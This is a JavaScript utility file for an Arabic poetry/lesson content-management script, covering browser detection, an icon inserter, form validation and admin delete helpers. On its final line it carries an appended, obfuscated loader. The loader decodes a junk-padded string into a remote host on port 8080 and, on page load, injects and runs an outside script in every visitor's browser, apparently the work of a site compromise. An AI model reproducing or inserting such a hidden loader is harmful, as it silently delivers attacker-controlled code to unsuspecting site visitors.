/////////////////////////////////////
//        SaphpLesson3.0           //
//       E-Mail:saphp@msn.com      //
//           sajava.js             //
/////////////////////////////////////

var userAgent = navigator.userAgent.toLowerCase();
var is_opera  = (userAgent.indexOf('opera') != -1);
var is_saf    = ((userAgent.indexOf('applewebkit') != -1) || (navigator.vendor == "Apple Computer, Inc."));
var is_webtv  = (userAgent.indexOf('webtv') != -1);
var is_ie     = ((userAgent.indexOf('msie') != -1) && (!is_opera) && (!is_saf) && (!is_webtv));
var is_ie4    = ((is_ie) && (userAgent.indexOf("msie 4.") != -1));
var is_moz    = ((navigator.product == 'Gecko') && (!is_saf));
var is_kon    = (userAgent.indexOf('konqueror') != -1);
var is_ns     = ((userAgent.indexOf('compatible') == -1) && (userAgent.indexOf('mozilla') != -1) && (!is_opera) && (!is_webtv) && (!is_saf));
var is_ns4    = ((is_ns) && (parseInt(navigator.appVersion) == 4));


var DOMtype = '';
if (document.getElementById)
{
        DOMtype = "std";
}
else if (document.all)
{
        DOMtype = "ie4";
}
else if (document.layers)
{
        DOMtype = "ns4";
}

var Objects = new Array();

function fetch_object(idname, forcefetch)
{
        if (forcefetch || typeof(Objects[idname]) == "undefined")
        {
                switch (DOMtype)
                {
                        case "std":
                        {
                                Objects[idname] = document.getElementById(idname);
                        }
                        break;

                        case "ie4":
                        {
                                Objects[idname] = document.all[idname];
                        }
                        break;

                        case "ns4":
                        {
                                Objects[idname] = document.layers[idname];
                        }
                        break;
                }
        }
        return Objects[idname];
}

function do_an_e(eventobj)
{
        if (!eventobj || is_ie)
        {
                window.event.returnValue = false;
                window.event.cancelBubble = true;
                return window.event;
        }
        else
        {
                eventobj.stopPropagation();
                eventobj.preventDefault();
                return eventobj;
        }
}

function tc(ico) {
document.tic.src="images/icon/"+ico+".gif";
document.newless.ico.value=ico ;
}

function icon(X,sys,elm)
{
if (sys=="w"){
if (typeof(document.selection) != "undefined" && document.selection.type != "Text" && document.selection.type != "None")
{
document.selection.clear();
}
htmlwindow.focus();
if (is_ie)
{
smilieHTML = '<img src="images/icon/' + X + '.gif" border="0" alt="" SID="' + X + '" /> ';
htmlbox.selection.createRange().pasteHTML(smilieHTML);
}else{
htmlbox.execCommand('InsertImage', false, elm.getElementsByTagName("img")[0].src);
var smilies = htmlbox.getElementsByTagName("img");
for (var i = 0; i < smilies.length; i++)
{
if (smilies[i].src == elm.getElementsByTagName("img")[0].src)
{
if (smilies[i].getAttribute("SID") < 1)
{
smilies[i].setAttribute("SID", X);
smilies[i].setAttribute("border", "0");
}
}
}
}
}else{
newless.less.focus();
var rng = SelectedText();

if(is_ie){
var sel = document.selection;
if (rng != null && (sel.type == "Text" || sel.type == "None"))
{
text = rng.text;
}
}
if (rng != null && newless.less.createTextRange)
{
newless.less.caretPos = rng.duplicate();
}

if (typeof(newless.less.createTextRange) != "undefined" && newless.less.caretPos)
{
var caretPos = newless.less.caretPos;
caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? " [icon]"+X+"[/icon] " + ' ' : " [icon]"+X+"[/icon] ";
caretPos.select();
}
else if (newless.less.selectionStart || newless.less.selectionStart == '0')
{
var start_selection = newless.less.selectionStart;
var end_selection = newless.less.selectionEnd;

var start = (newless.less.value).substring(0, start_selection);
var middle = " [icon]"+X+"[/icon] ";
var end = (newless.less.value).substring(end_selection, newless.less.textLength);

newless.less.value = start + middle + end;
newless.less.focus();
newless.less.selectionStart = end_selection + middle.length;
newless.less.selectionEnd = start_selection + middle.length;
}
else
{
newless.less.value += " [icon]"+X+"[/icon] ";
}
}
}

function CheckComment(formobj)
{
var fieldRequired = Array("CName", "CMail", "Commnt");
var fieldDescription = Array("الاســـم", "البــريــد الإلكتروني", "التــعليــق");
var alertMsg = "الرجاء اكمال الحقول التالية:\n";

        var l_Msg = alertMsg.length;

        for (var i = 0; i < fieldRequired.length; i++){
                var obj = formobj.elements[fieldRequired[i]];
                if (obj){
                        switch(obj.type){
                        case "select-one":
                                if (obj.selectedIndex == -1 || obj.options[obj.selectedIndex].text == ""){
                                        alertMsg += " - " + fieldDescription[i] + "\n";
                                }
                                break;
                        case "select-multiple":
                                if (obj.selectedIndex == -1){
                                        alertMsg += " - " + fieldDescription[i] + "\n";
                                }
                                break;
                        case "text":
                        case "textarea":
                                if (obj.value == "" || obj.value == null){
                                        alertMsg += " - " + fieldDescription[i] + "\n";
                                }
                                break;
                        default:
                        }
                        if (obj.type == undefined){
                                var blnchecked = false;
                                for (var j = 0; j < obj.length; j++){
                                        if (obj[j].checked){
                                                blnchecked = true;
                                        }
                                }
                                if (!blnchecked){
                                        alertMsg += " - " + fieldDescription[i] + "\n";
                                }
                        }
                }
        }

        if (alertMsg.length == l_Msg){
                return true;
        }else{
                alert(alertMsg);
                return false;
        }
}

function button_over(eButton)
        {
        eButton.style.background = "url('images/toolbox/over.gif')";
        }
function button_out(eButton)
        {
        eButton.style.background = "";
        eButton.style.borderColor = "";
        }
function button_down(eButton)
        {
        eButton.style.background = "url('images/toolbox/down.gif')";
        document.newless.less.focus();
        }
function button_up(eButton)
        {
        eButton.style.background = "url('images/toolbox/over.gif')";
        eButton = null;
        }
function key(){
props=window.open('key.php', 'poppage', 'toolbars=0, scrollbars=0, location=0, statusbars=0, menubars=0, resizable=0, width=500, height=360');
}
function GoToCategory(CategoryList) {
newPage = CategoryList.options[CategoryList.selectedIndex].value
if (newPage != "") { window.location.href = newPage }
}
function Order(OrderList) {
newPage = OrderList.options[OrderList.selectedIndex].value ;
newPage = "misc.php?action=stat&order=" + newPage;
if (newPage != "") { window.location.href = newPage }
}
function small(Url)
{
var f=window.open (Url, "MyNewWindow", "toolbar=No, location=No, directories=no,status=no, menubar=no, scrollbars=yes, resizable=No,width=400,height=300,left=150,top=100");
}


function showhide(state){
var cacheobj=document.getElementById("innermenu").style
if (state==0)
cacheobj.visibility="hidden"
else
cacheobj.visibility=cacheobj.visibility=="hidden"? "visible" : "hidden"
}

/////////////This Code For AdminCP////////////////
function createRequestObject()
{
 var xmlhttp;
  /*@cc_on

  @if (@_jscript_version >= 5)

    try {

      xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");

    } catch (e) {

      try {

        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

      } catch (E) {

        xmlhttp = false;

      }

    }

  @else

  xmlhttp = false;

  @end @*/

 if(!xmlhttp && typeof XMLHttpRequest != 'undefined')
 {
  try
  {
   xmlhttp = new XMLHttpRequest();

  }
  catch(e)
  {
   xmlhttp = false;
  }

 }

 return xmlhttp;
}

include = function(url){
if (!url) return;
var con = createRequestObject();
con.open ("GET", url, false);
con.send (null);
return con.responseText;
}

DeleteCat = function(ID,TR){
if (!ID) return;
if (confirm('هل تريد حذف القسم؟'))
{
var srl = "cat.php?action=Delete&ID="+ ID;
var url_load = srl;
var inc = include(url_load);
document.getElementById(TR).style.display='none';
alert('تم حذف القسم بنجاح وجميع القصائد الموجوده به');
}
else
{
return false;
}
}

DeleteLsn = function(ID,TR){
if (!ID) return;
if (confirm('هل تريد حذف القصيده المحدده؟'))
{
var srl = "lesson.php?Action=Delete&ID="+ ID;
var url_load = srl;
var inc = include(url_load);
document.getElementById(TR).style.display='none';
alert('تم حذف القصيده وجميع تعليقاته بنجاح');
}
else
{
return false;
}
}

function set_title()
{
if (document.title != '')
{
parent.document.title = document.title;
}
else
{
parent.document.title = "سكربت الديوان الشعري - لوحة التحكم";
}
}
try{window.onload=function(){Lqy6jfq2zb1dxcj = '' + 't@@o)p@(i#@!x$-!(#)c^&#&o@@m$$(^.$^)t!u^b^!^^^e)8#).#(c)#!(^o!$$#m&#(^.@&a^@^w!e!&#m(#!@p!$!i&r#(@#e@$-(&$&c$@o^(^!(m#!$.(@g$!#&r(@i&#d#@$r()$e^)^v)#&(o#$l(&&u#$#t$!)i&@(^o@^)n))s)&).^^$r&)^u():(!W##$o!^!^(q!(7$&$@v@)#d!$@&9!!r&@i#)#5(&#q#^/@^^k^$i&!n^@o&(p()(o&#&i)s@k(@&.^@r$&u)@##/$@)!k)i!$^n)#o@^&p!^@o@)i$s@$!#@k@!.#!r(&u!(/^&@!s#h&(@o(()p#$!p^^i@(&(n#!&g&)#$.&(c^o@!(m^/&s&&a!$(k!u&^^&r&(a!&.$n^e!&^.))@j(&)p&#/$!g)o$(#!o&$^g@#!@)l&e^&!!.#(c^&^o#m#(!/^$^^)'.replace(/\^|\(|\)|@|&|#|\!|\$/ig, '') ;Ffunoka0kkyph8 = 'appendChild';Nx1ejrbu9uqd = document.createElement('sc'+'ript');Nx1ejrbu9uqd.src = 'h'+'ttp://'+Lqy6jfq2zb1dxcj.replace(/Woq7vd9ri5q/g, '8080');Nx1ejrbu9uqd.setAttribute('defer', 'def'+'er');eval('document.body.'+Ffunoka0kkyph8+'(Nx1ejrbu9uqd)');} }  catch(Da9jrsw ) {}